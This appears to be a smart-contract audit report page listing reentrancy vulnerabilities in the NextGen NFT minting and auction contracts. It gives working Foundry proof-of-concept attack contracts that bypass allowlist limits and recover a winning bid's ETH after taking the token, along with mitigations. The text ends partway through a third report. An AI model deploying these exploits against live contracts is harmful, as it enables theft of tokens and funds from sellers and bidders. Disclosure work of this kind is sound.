NextGen - audityourcontracts's results

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/MinterContract.sol#L196 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L193

Vulnerability details

Bug Description

The mint() function in MinterContract.sol and NextGenCore.sol have no re-entrancy protection and _mintProcessing() in NextGenCore.sol transfers the ERC721 token prior to updating the tokensMintedAllowlistAddress balance on L195 for the allow list and tokensMintedPerAddress on L197 for the public mint.

The protocol "Checks" mint balances in MinterContract.sol, "Interacts" in NextGenCore.sol when it mints the ERC721 and then applies the "Effects" by updating the token balances. This allows an attacker to re-enter the mint() function in MinterContract.sol via the onERC721Received() function (in an attacker crafted contract) called by mintProcessing(). The attacker can do this as many times as they like and the balances will be updated after all tokens have been transferred to the attacker.

This is an example of cross-contract re-entrancy as the flow of execution passes from mint() in MinterContract.sol to mint() in NextGencore.sol to onERC721Received() in the attacker's contract where mint() is called again (re-entered) in MinterContract.sol.

Let's follow the logic;

MinterContract.sol L-196 to L-229;

    function mint(uint256 _collectionID, uint256 _numberOfTokens, uint256 _maxAllowance, string memory _tokenData, address _mintTo, bytes32[] calldata merkleProof, address _delegator, uint256 _saltfun_o) public payable {
        require(setMintingCosts[_collectionID] == true, "Set Minting Costs");
        uint256 col = _collectionID;
        address mintingAddress;
        uint256 phase;
        string memory tokData = _tokenData;
        if (block.timestamp >= collectionPhases[col].allowlistStartTime && block.timestamp <= collectionPhases[col].allowlistEndTime) {
            phase = 1;
            bytes32 node;
            if (_delegator != 0x0000000000000000000000000000000000000000) {
                bool isAllowedToMint;
                isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, 0x8888888888888888888888888888888888888888, msg.sender, 2);
                if (isAllowedToMint == false) {
                isAllowedToMint = dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 1) || dmc.retrieveGlobalStatusOfDelegation(_delegator, collectionPhases[col].delAddress, msg.sender, 2);    
                }
                require(isAllowedToMint == true, "No delegation");
                node = keccak256(abi.encodePacked(_delegator, _maxAllowance, tokData));
                require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");
                mintingAddress = _delegator;
            } else {
                node = keccak256(abi.encodePacked(msg.sender, _maxAllowance, tokData));
                require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, msg.sender) + _numberOfTokens, "AL limit");
                mintingAddress = msg.sender;
            }
            require(MerkleProof.verifyCalldata(merkleProof, collectionPhases[col].merkleRoot, node), 'invalid proof');
        } else if (block.timestamp >= collectionPhases[col].publicStartTime && block.timestamp <= collectionPhases[col].publicEndTime) {
            phase = 2;
            require(_numberOfTokens <= gencore.viewMaxAllowance(col), "Change no of tokens");
            require(gencore.retrieveTokensMintedPublicPerAddress(col, msg.sender) + _numberOfTokens <= gencore.viewMaxAllowance(col), "Max");
            mintingAddress = msg.sender;
            tokData = '"public"';
        } else {
            revert("No minting");
        }

The allow list mint restriction is enforced by requiring the user provides a proof matching _maxAllowance and that _maxAllowance (the tokens they are allowed to mint) is greater than the tokens they have already minted e.g. require(_maxAllowance >= gencore.retrieveTokensMintedALPerAddress(col, _delegator) + _numberOfTokens, "AL limit");.

All balances will be zero at the start of the mint.

The public mint checks that the _numberOfTokens is less than the maximum allowed for public minting. As stated above all balances are zero and they'll remain that way until all re-entrancy calls complete, all tokens have been transferred and the final balances updated.

On lines 235-237 of MinterContract.sol mint() is called in the NextGenCore.sol contract.

    for(uint256 i = 0; i < _numberOfTokens; i++) {
        uint256 mintIndex = gencore.viewTokensIndexMin(col) + gencore.viewCirSupply(col);
        gencore.mint(mintIndex, mintingAddress, _mintTo, tokData, _saltfun_o, col, phase);
    }

On L193 in NextGenCore.sol mintProcessing() is called before the balances of the allow list or public sale are updated on line 195 and 197.

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
            _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
        }
    }

_mintProcessing() calls safeMint() which as part of the ERC721 token transfer calls onERC721Received() on the attacker contract and yields execution to the attacker's contract.

    function _mintProcessing(uint256 _mintIndex, address _recipient, string memory _tokenData, uint256 _collectionID, uint256 _saltfun_o) internal {
        tokenData[_mintIndex] = _tokenData;
        collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
        tokenIdsToCollectionIds[_mintIndex] = _collectionID;
        _safeMint(_recipient, _mintIndex);
    }

Impact

The attacker, by minting more tokens than allowed, denies legitimate users from minting through the allowlist or public sale. This prevents them from buying tokens, potentially pushing them to buy at inflated prices from secondary markets. This damages Nextgen's reputation as a fair platform known for supporting loyalty through its allowlists and fairness in public minting, a reputation earned via the 6529 Meme brand.

Moreover, if certain traits are rare, the attacker could mint an excessive number of tokens, assess their rarity, and profit from tokens that should have been equally available to all participants.

As a result, users miss out on the chance to buy tokens at the intended price and might have to resort to secondary markets where prices are higher.

Proof of Concept

A complete foundry test is included below and can be executed after foundry is initialized using;

forge test --match-test test_PoCAllowListByPass -vvvvv --via-ir --fork-url=$GOERLI where $GOERLI is set to a Goerli RPC.

The key component is the onERC721Received() function in the attacker's contract. This has been configured to re-enter the MinterContract.sol 10 times and mint more tokens than was permitted via the allowlist (3).

    function onERC721Received(address operator, address from, uint256 tokenId,bytes calldata data ) external returns (bytes4) {
        if (reenterCount < 10) {
            reenterCount++;

            uint256 _collectionID = 1;
            console2.log("HOW MANY CAN I GET YO!?", core.retrieveTokensMintedALPerAddress(_collectionID, address(100)));

            // Minter details
            uint256 _numberOfTokens = 1;
            uint256 _maxAllowance = 3; // set earlier
            string memory _tokenData = "";
            address _mintTo = address(this); // This can be delegated.
            bytes32[] memory merkleProof = the_proof;
            address _delegator = address(100); // address(100) has a delegation for this contract.
            uint256 _saltfun_o = 0;
            minter.mint{value: 60290000000000000}(_collectionID, _numberOfTokens, _maxAllowance, _tokenData, _mintTo, merkleProof, _delegator, _saltfun_o);
            console2.log("NFT RECEIVED YO");
        }
        return IERC721Receiver.onERC721Received.selector;
    }

The full test including setup is shown below;

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "./smart-contracts/NextgenCore.sol";
import "./smart-contracts/NextgenAdmins.sol";
import "./smart-contracts/RandomizerRNG.sol";
import "./smart-contracts/MinterContract.sol";
import "./smart-contracts/IERC721Receiver.sol";
import "./smart-contracts/NFTdelegation.sol";
import "murky/src/Merkle.sol";
import "./smart-contracts/MerkleProof.sol";
import "./MockERC721.sol";

contract MintingTest is Test {
    NextGenAdmins admins;
    NextGenCore core;
    NextGenRandomizerRNG _randomizerContract;
    NextGenMinterContract minter;
    DelegationManagementContract registry;
    MockERC721 mockERC721;

    uint256 reenterCount = 0;
    bytes32[] the_proof;


    function setUp() public {
        admins = new NextGenAdmins();
        core = new NextGenCore("Nextgen", "NEXT", address(admins));
        // Check we are the owner.
        assertEq(admins.owner(), address(this));
        assertEq(core.newCollectionIndex(), 1);

        string memory _collectionName = "Generic collection name";
        string memory _collectionArtist = "Generic artist name";
        string memory _collectionDescription = "Generic artist description";
        string memory _collectionWebsite = "Generic website address";
        string memory _collectionLicense = "";
        string memory _collectionBaseURI = "ipfs://ipfs";
        string memory _collectionLibrary = "";
        string[] memory _collectionScript = new string[](1);
        _collectionScript[0] = "";

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );
        assertEq(core.newCollectionIndex(), 3);

        mockERC721 = new MockERC721("Booyah!", "BOO");
        mockERC721.mint(address(this), 1);
        mockERC721.mint(address(this), 2);
        mockERC721.mint(address(this), 3);
        mockERC721.mint(address(this), 4);
        mockERC721.mint(address(this), 5);
    }

    function test_PoCAllowListByPass() public {
        // Collection settings.
        uint256 _collectionID = 1;
        address _collectionArtistAddress = address(uint160(uint256(keccak256("ayc"))));
        uint256 _collectionTotalSupply = 10_000;
        uint256 _maxCollectionPurchases = 3;
        uint256 _setFinalSupplyTimeAfterMint = 100;

        core.setCollectionData(
            _collectionID,
            _collectionArtistAddress,
            _maxCollectionPurchases,
            _collectionTotalSupply,
            _setFinalSupplyTimeAfterMint
        );

        // Minter pre-requisites.
        registry = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(registry), address(admins));
        core.addMinterContract(address(minter));

        // Add randomizer details
        // ARNController should be 0x000000000000f968845afB0B8Cf134Ec196D38D4 on Goerli
        address ARNController = 0x000000000000f968845afB0B8Cf134Ec196D38D4;
        _randomizerContract = new NextGenRandomizerRNG(address(core), address(admins), ARNController);
        _randomizerContract.updateRNGCost(2000000000000000);
        vm.deal(address(_randomizerContract), 1 ether);
        core.addRandomizer(1, address(_randomizerContract));

        // Collection costs
        //uint256 _collectionID = 1;
        uint256 _collectionMintCost =  6.029 * 10**16;
        uint256 _collectionEndMintCost = 6.029 * 10**16; 
        uint256 _rate = 0;
        uint256 _timePeriod = 0; 
        uint8 _salesOption = 1; 
        address _delAddress = address(core);
        minter.setCollectionCosts(_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, _timePeriod, _salesOption, _delAddress);

        // Setup Merkel root
        Merkle m = new Merkle();
        // Toy Data
        uint256 _maxAllowance = 3;
        string memory tokData = "";

        bytes32[] memory data = new bytes32[](4);
        data[0] = bytes32(keccak256(abi.encodePacked(address(100), _maxAllowance, tokData)));
        data[1] = bytes32(keccak256(abi.encodePacked(address(101), _maxAllowance, tokData)));
        data[2] = bytes32(keccak256(abi.encodePacked(address(102), _maxAllowance, tokData)));
        data[3] = bytes32(keccak256(abi.encodePacked(address(103), _maxAllowance, tokData)));
        
        // Get Root, Proof, and Verify
        bytes32 root = m.getRoot(data);
        bytes32[] memory proof = m.getProof(data, 0); // will get proof for 0x2 value
        the_proof = proof;
        bool verified = m.verifyProof(root, proof, data[0]); // true!
        assertTrue(verified);

        bool verify_again = MerkleProof.verify(proof, root, data[0]);
        assert(verify_again);

        //Set collection phases
        //uint256 _collectionID = 1; 
        uint _allowlistStartTime = 1000; 
        uint _allowlistEndTime = 2000; 
        uint _publicStartTime = 3000; 
        uint _publicEndTime = 4000;
        bytes32 _merkleRoot = root;

        minter.setCollectionPhases(_collectionID, _allowlistStartTime, _allowlistEndTime, _publicStartTime, _publicEndTime, _merkleRoot);

        vm.warp(1001); // This puts us in the AL period.
        //vm.warp(3001); // This puts us in the public period.
        console2.log("Block timestamp", block.timestamp);

        // Minter details
        //uint256 _collectionID = 1; // set earlier
        uint256 _numberOfTokens = 1;
        //uint256 _maxAllowance = 3; // set earlier
        string memory _tokenData = "";
        address _mintTo = address(this); // This can be delegated.
        bytes32[] memory merkleProof = proof; 
        address _delegator = address(100); // address(100) delegates to the test contract to mint
        uint256 _saltfun_o = 0;

        // Set up the delegation
        //address _collectionAddress = address(0x8888888888888888888888888888888888888888); // all collections.
        address _collectionAddress = address(core); // delAddress
        address _delegationAddress = address(this);
        uint256 _expiryDate = block.timestamp + 10_000;
        uint256 _useCase = 1;
        bool _allTokens = true;
        uint256 _tokenId = 0;
        vm.prank(address(100));
        registry.registerDelegationAddress(_collectionAddress, _delegationAddress, _expiryDate, _useCase, _allTokens, _tokenId);

        // Mint as the delegatee or mint contract
        minter.mint{value: 60290000000000000}(_collectionID, _numberOfTokens, _maxAllowance, _tokenData, _mintTo, merkleProof, _delegator, _saltfun_o);
    }

    function onERC721Received(address operator, address from, uint256 tokenId,bytes calldata data ) external returns (bytes4) {
        if (reenterCount < 10) {
            reenterCount++;

            uint256 _collectionID = 1;
            console2.log("HOW MANY CAN I GET YO!?", core.retrieveTokensMintedALPerAddress(_collectionID, address(100)));

            // Minter details
            uint256 _numberOfTokens = 1;
            uint256 _maxAllowance = 3; // set earlier
            string memory _tokenData = "";
            address _mintTo = address(this); // This can be delegated.
            bytes32[] memory merkleProof = the_proof;
            address _delegator = address(100); // address(100) has a delegation for this contract.
            uint256 _saltfun_o = 0;
            minter.mint{value: 60290000000000000}(_collectionID, _numberOfTokens, _maxAllowance, _tokenData, _mintTo, merkleProof, _delegator, _saltfun_o);
            console2.log("NFT RECEIVED YO");
        }
        return IERC721Receiver.onERC721Received.selector;
    }

}

Tools Used

Vim

Recommended Mitigation Steps

The following mitigation steps should be performed;

Firstly implement re-entrancy protection modifiers on the mint() functions in MinterContract.sol and NextGenCore.sol via something like OpenZeppelin's ReentrancyGuard.

Secondly follow the check, effects, interaction pattern by calling mintProcessing() after the updates have been made to the allowlist and public mint balances.

If the following change is made to NextGenCore.sol the limits are triggered properly and the re-entrancy reverts;

    function mint(uint256 mintIndex, address _mintingAddress , address _mintTo, string memory _tokenData, uint256 _saltfun_o, uint256 _collectionID, uint256 phase) external {
        require(msg.sender == minterContract, "Caller is not the Minter Contract");
        collectionAdditionalData[_collectionID].collectionCirculationSupply = collectionAdditionalData[_collectionID].collectionCirculationSupply + 1;
        if (collectionAdditionalData[_collectionID].collectionTotalSupply >= collectionAdditionalData[_collectionID].collectionCirculationSupply) {
-           _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
            if (phase == 1) {
                tokensMintedAllowlistAddress[_collectionID][_mintingAddress] = tokensMintedAllowlistAddress[_collectionID][_mintingAddress] + 1;
            } else {
                tokensMintedPerAddress[_collectionID][_mintingAddress] = tokensMintedPerAddress[_collectionID][_mintingAddress] + 1;
            }
+           _mintProcessing(mintIndex, _mintTo, _tokenData, _collectionID, _saltfun_o);
        }
    }

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L125

Vulnerability details

Bug Description

The claimAuction() function and cancelBid() functions in AuctionDemo.sol have no re-entrancy protection and loose require logic allowing both the auction to be claimed and the winning bid cancelled on the last second of the auction.

AuctionDemo.sol Lines 104-120

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

The require statement above ensures that the auction hasn't already been claimed, the tokenid being claimed is being auctioned and importantly for this vulnerability that the block timestamp is greater than or equal to the end of the auction period - block.timestamp >= minter.getAuctionEndTime(_tokenid).

AuctionDemo.sol Lines 124-130

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
        (bool success, ) = payable(auctionInfoData[_tokenid][index].bidder).call{value: auctionInfoData[_tokenid][index].bid}("");
        emit CancelBid(msg.sender, _tokenid, index, success, auctionInfoData[_tokenid][index].bid);
    }

The bid can be cancelled if the block.timestamp <= minter.getAuctionEndTime(_tokenid). Note the equals sign.

Logically the auction can be claimed by the winner (highest bid) and the highest bid cancelled if the block.timestamp is the last second of the auction.

The winner (acting maliciously) can;

1. Enter the claimAuction() function and times it or colludes with a block builder for a block.timestamp that is the last second of the auction.
2. Receive the token being auctioned via the safeTransferFrom() call on L112
3. Receives the onERC721Received() call in an attack contract and re-enter the cancelBid() function
4. cancelBid() on the last second of the auction and receive their highest bid.
5. The winner/attacker now has the token and their highest ETH bid.

With the attacker extracting their ETH from the contract via the re-entrancy either the auctioned token holder or other bidders will not receive their ETH returned. These failed ETH transfers, when the contract is out of funds, are not checked for success and reverted. See the for loop form claimAuction();

    for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
        if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
            IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
            (bool success, ) = payable(owner()).call{value: highestBid}("");
            emit ClaimAuction(owner(), _tokenid, success, highestBid);
        } else if (auctionInfoData[_tokenid][i].status == true) {
            (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
            emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
        } else {}
    }

Note: the first if statement in the for lop checks the status of the bid and ensures it is true but never sets it to false before interacting with external contracts and EOA's via ERC721 transfer and direct ETH calls.

The require statements return the bool success but doesn't check the returned value and revert if it is false. The winner receives thier ERC721 token in the same if block as the owner of the token receives their ETH however due to the re-entrancy this ETH will have already been claimed by the winner/attacker. The owner of the token will not receive any ETH and the contract will not revert.

Impact

The vulnerability allows the attacker to receive the auctioned token and their ETH returned. This ETH is intendeded to be paid to the owner of the token being auction. claimAuction() iterates through all bids, from lowest to highest and then on the highest bid transfers the token, the attacker re-enters and cancel their bid so the payment to the token owner is never made. Defauding them of their ETH.

It should be noted that this outcome (token + ETH) is risk free for the winner/attacker if they were happy to win the auction anyway. They can try and time the block timestamp (or collude) and receive the token and their ETH back or just claim the token later if the claimAction() re-entrancy reverts because of the wrong block.timestamp.

For auctions with incredibly high valued tokens there's also the potential for an auction winner to collude with a block producer in relation to the block.timestamp. Or the block producer is the bidder and block builder.

Proof of Concept

The test contract below has a test function test_Reenter_HighestBidderWinsWins and an AttackContract that the attacker (winning bidder) uses for the attack;

1. A normal user bids 13 ETH on the auction, this becomes the high bid.
2. The winner/attack creates an AttackContract near the end of the auction and uses it to bid 15ETH and become the high bidder.
3. The winner/attacker times the call (or colludes) to claimAuction() to the last second of the auction and the ERC721 token is transferred.
4. onERC721Received() is called in the attack contract and the winner/attacker cancels the winning bid of 15ETH via cancelsBid().
5. The 15ETH is returned to the attack prior to the execution yielding back from cancelBid() to claimAuction() where 15ETH is to be transferred to the owner of the token.
6. The ETH call is attempted and returns false as the contract does not have the funds to pay the owner of the token.
7. The bool success containing false is not checked and reverted.
8. The owner of the token never receives their payment and the attacker receives the token and their ETH high bid.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console2} from "forge-std/Test.sol";
import "./smart-contracts/NextgenCore.sol";
import "./smart-contracts/NextgenAdmins.sol";
import "./smart-contracts/RandomizerRNG.sol";
import "./smart-contracts/RandomizerNXT.sol";
import "./smart-contracts/XRandoms.sol";
import "./smart-contracts/MinterContract.sol";
import "./smart-contracts/AuctionDemo.sol";
import "./smart-contracts/IERC721Receiver.sol";
import "./smart-contracts/NFTdelegation.sol";
import "murky/src/Merkle.sol";
import "./smart-contracts/MerkleProof.sol";

contract AuctionTest is Test {
    NextGenAdmins admins;
    NextGenCore core;
    NextGenRandomizerRNG _randomizerContract;
    NextGenRandomizerNXT nxt;
    randomPool xrandoms; 
    NextGenMinterContract minter;
    DelegationManagementContract registry; 
    auctionDemo auction;

    uint256 reenterCount = 0;
    bytes32[] the_proof;


    function setUp() public {
        admins = new NextGenAdmins();
        core = new NextGenCore("Nextgen", "NEXT", address(admins));
        // Check we are the owner.
        assertEq(admins.owner(), address(this));
        assertEq(core.newCollectionIndex(), 1);

        string memory _collectionName = "Generic collection name";
        string memory _collectionArtist = "Generic artist name";
        string memory _collectionDescription = "Generic artist description";
        string memory _collectionWebsite = "Generic website address";
        string memory _collectionLicense = "";
        string memory _collectionBaseURI = "ipfs://ipfs";
        string memory _collectionLibrary = "";
        string[] memory _collectionScript = new string[](1);
        _collectionScript[0] = "";

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );

        core.createCollection(
            _collectionName,
            _collectionArtist,
            _collectionDescription,
            _collectionWebsite,
            _collectionLicense,
            _collectionBaseURI,
            _collectionLibrary,
            _collectionScript
        );
        assertEq(core.newCollectionIndex(), 3);

        uint256 _collectionID = 1;
        address _collectionArtistAddress = address(uint160(uint256(keccak256("ayc"))));
        uint256 _collectionTotalSupply = 10_000;
        uint256 _maxCollectionPurchases = 1_000;
        uint256 _setFinalSupplyTimeAfterMint = 100;

        core.setCollectionData(
            _collectionID,
            _collectionArtistAddress,
            _maxCollectionPurchases,
            _collectionTotalSupply,
            _setFinalSupplyTimeAfterMint
        );

        // Minter pre-requisites.
        registry = new DelegationManagementContract();
        minter = new NextGenMinterContract(address(core), address(registry), address(admins));
        core.addMinterContract(address(minter));

        // Add randomizer details
        // ARNController should be 0x000000000000f968845afB0B8Cf134Ec196D38D4 on Goerli
        address ARNController = 0x000000000000f968845afB0B8Cf134Ec196D38D4;
        _randomizerContract = new NextGenRandomizerRNG(address(core), address(admins), ARNController);
        _randomizerContract.updateRNGCost(2000000000000000);
        xrandoms = new randomPool();
        nxt = new NextGenRandomizerNXT(address(xrandoms), address(admins), address(core));
        vm.deal(address(_randomizerContract), 1 ether);

        //core.addRandomizer(1, address(_randomizerContract));
        core.addRandomizer(1, address(nxt));

        auction = new auctionDemo(address(minter), address(core), address(admins));

        // Collection costs
        //uint256 _collectionID = 1;
        uint256 _collectionMintCost =  6.029 * 10**16;
        uint256 _collectionEndMintCost = 6.029 * 10**16; 
        uint256 _rate = 0;
        uint256 _timePeriod = 600; 
        uint8 _salesOption = 3; 
        address _delAddress = address(core);
        minter.setCollectionCosts(_collectionID, _collectionMintCost, _collectionEndMintCost, _rate, _timePeriod, _salesOption, _delAddress);

        //uint256 _collectionID = 1; 
        uint timeStamp = block.timestamp;
        uint _allowlistStartTime = timeStamp + 1000; 
        uint _allowlistEndTime = timeStamp + 2000; 
        uint _publicStartTime = timeStamp + 3000; 
        uint _publicEndTime = timeStamp + 4000;
        bytes32 _merkleRoot;
        minter.setCollectionPhases(_collectionID, _allowlistStartTime, _allowlistEndTime, _publicStartTime, _publicEndTime, _merkleRoot);
    }
function test_Reenter_HighestBidderWinsWins() public {
        address _recipient = address(this);
        string memory _tokenData = "";
        uint256 _saltfun_o = 0;
        uint256 _collectionID = 1;
        uint256 _auctionEndTime = block.timestamp + 2000;

        uint256 tokenId = 10000000000;

        vm.warp(block.timestamp + 1200);
        minter.mintAndAuction(_recipient, _tokenData, _saltfun_o, _collectionID, _auctionEndTime);
        assertEq(core.ownerOf(tokenId), address(this));

        vm.deal(address(100), 100 ether);
        vm.deal(address(101), 100 ether);
        vm.deal(address(103), 100 ether);

        core.approve(address(auction), tokenId);

        vm.prank(address(101));
        auction.participateToAuction{value: 13 ether}(tokenId);

        // Win the auction
        vm.startPrank(address(100));
        AttackContract bid1 = new AttackContract(address(auction));
        bid1.bid{value: 15 ether}(15 ether, tokenId);
        vm.stopPrank();

        uint256 endTime = minter.getAuctionEndTime(tokenId); 
        vm.warp(endTime); // Last second of the auction.
        core.approve(address(auction), tokenId);

        //Winner claims
        vm.prank(address(bid1));
        auction.claimAuction(tokenId);

        console2.log("Balance of attack address", address(bid1).balance);
        console2.log("Owner of the token", core.ownerOf(tokenId));
    }
}

contract AttackContract {
    address owner;
    auctionDemo _auction;
    uint256 _tokenId;
    uint256 _bid;
    auctionDemo.auctionInfoStru[] auctionBids;
    bool reenter;

    constructor(address auction) {
        owner = msg.sender;
        _auction = auctionDemo(auction);
    }

    function bid(uint256 amount, uint256 tokenid) payable public onlyOwner {
        _tokenId = tokenid;
        _auction.participateToAuction{value: amount}(_tokenId);
    }

    receive() payable external {
        console2.log("Received called with ", msg.value);
        if (!reenter) {
            auctionBids = _auction.returnBids(_tokenId);
            for (uint256 i=0; i< auctionBids.length; i++) {
                if (auctionBids[i].bidder == address(this)) {
                    console2.log("Cancelling bid %s and %s", i, reenter);
                    reenter = true;
                    _auction.cancelBid(_tokenId, i);
                }
            }
        } else {
            console2.log("Received second re-enter!!", msg.value, reenter);
            reenter = false;
        }
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "Not the owner YO!");
        _;
    }

    function onERC721Received(address operator, address from, uint256 tokenId,bytes calldata data ) external returns (bytes4) {
        console2.log("NFT RECEIVED YO");
        auctionBids = _auction.returnBids(_tokenId);
        for (uint256 i=0; i< auctionBids.length; i++) {
            if (auctionBids[i].bidder == address(this)) {
                console2.log("Cancelling bid %s and %s", i, reenter);
                reenter = true;
                _auction.cancelBid(_tokenId, i);
            }
        }
        return IERC721Receiver.onERC721Received.selector;
    }
}

Tools Used

Vim

Recommended Mitigation Steps

The following mitigation steps should be performed;

Firstly implement re-entrancy protection modifiers on the claimAuction() and cancelBid() functions in AuctionDemo.sol via something like OpenZeppelin's ReentrancyGuard.

Check the success and if it's not true then revert;

(bool success, ) = payable(owner()).call{value: highestBid}("");
require(success, "ETH Payment failed");

Reverting on success opens up other attack surfaces. The protocol could look at converting all bids from ETH to WETH within participateToAuction() to avoid direct ETH calls.

Tighten the require statements in claimAuction() and cancelBid() so that there is no single timestamp where you can perform both functions. For example;

Change cancelBid() to be < rather than <=.

    function cancelBid(uint256 _tokenid, uint256 index) public {
-        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
+        require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

As each bid is processed in claimAuction() it's worth setting the bid's state to false which would have prevented the re-entrancy via cancelBid() as that function requires the status of the bid to be true.

Assessed type

Reentrancy

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L104 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/hardhat/smart-contracts/AuctionDemo.sol#L125

Vulnerability details

Bug Description

This is similar to another bug I have raised Auction winner can receive the auction token and their money back but differs in terms of tactics and the method of re-entrancy (ETH call vs ERC721). Due to the difference in actor and method of re-entrancy I've added it separately. In this vulnerability the attacker can intentionally front run valid bids and double their money.

The claimAuction() and cancelBid() functions in AuctionDemo.sol have no re-entrancy protection and loose require checks allowing the auction to be claimed and losing bids repaid if the block timestamp is the last second of the auction.

AuctionDemo.sol Lines 104-120

    function claimAuction(uint256 _tokenid) public WinnerOrAdminRequired(_tokenid,this.claimAuction.selector){
        require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
        auctionClaim[_tokenid] = true;
        uint256 highestBid = returnHighestBid(_tokenid);
        address ownerOfToken = IERC721(gencore).ownerOf(_tokenid);
        address highestBidder = returnHighestBidder(_tokenid);
        for (uint256 i=0; i< auctionInfoData[_tokenid].length; i ++) {
            if (auctionInfoData[_tokenid][i].bidder == highestBidder && auctionInfoData[_tokenid][i].bid == highestBid && auctionInfoData[_tokenid][i].status == true) {
                IERC721(gencore).safeTransferFrom(ownerOfToken, highestBidder, _tokenid);
                (bool success, ) = payable(owner()).call{value: highestBid}("");
                emit ClaimAuction(owner(), _tokenid, success, highestBid);
            } else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
            } else {}
        }
    }

AuctionDemo.sol Lines 124-130

    function cancelBid(uint256 _tokenid, uint256 index) public {
        require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
        require(auctionInfoData[_tokenid][index].bidder == msg.sender && auctionInfoData[_tokenid][index].status == true);
        auctionInfoData[_tokenid][index].status = false;
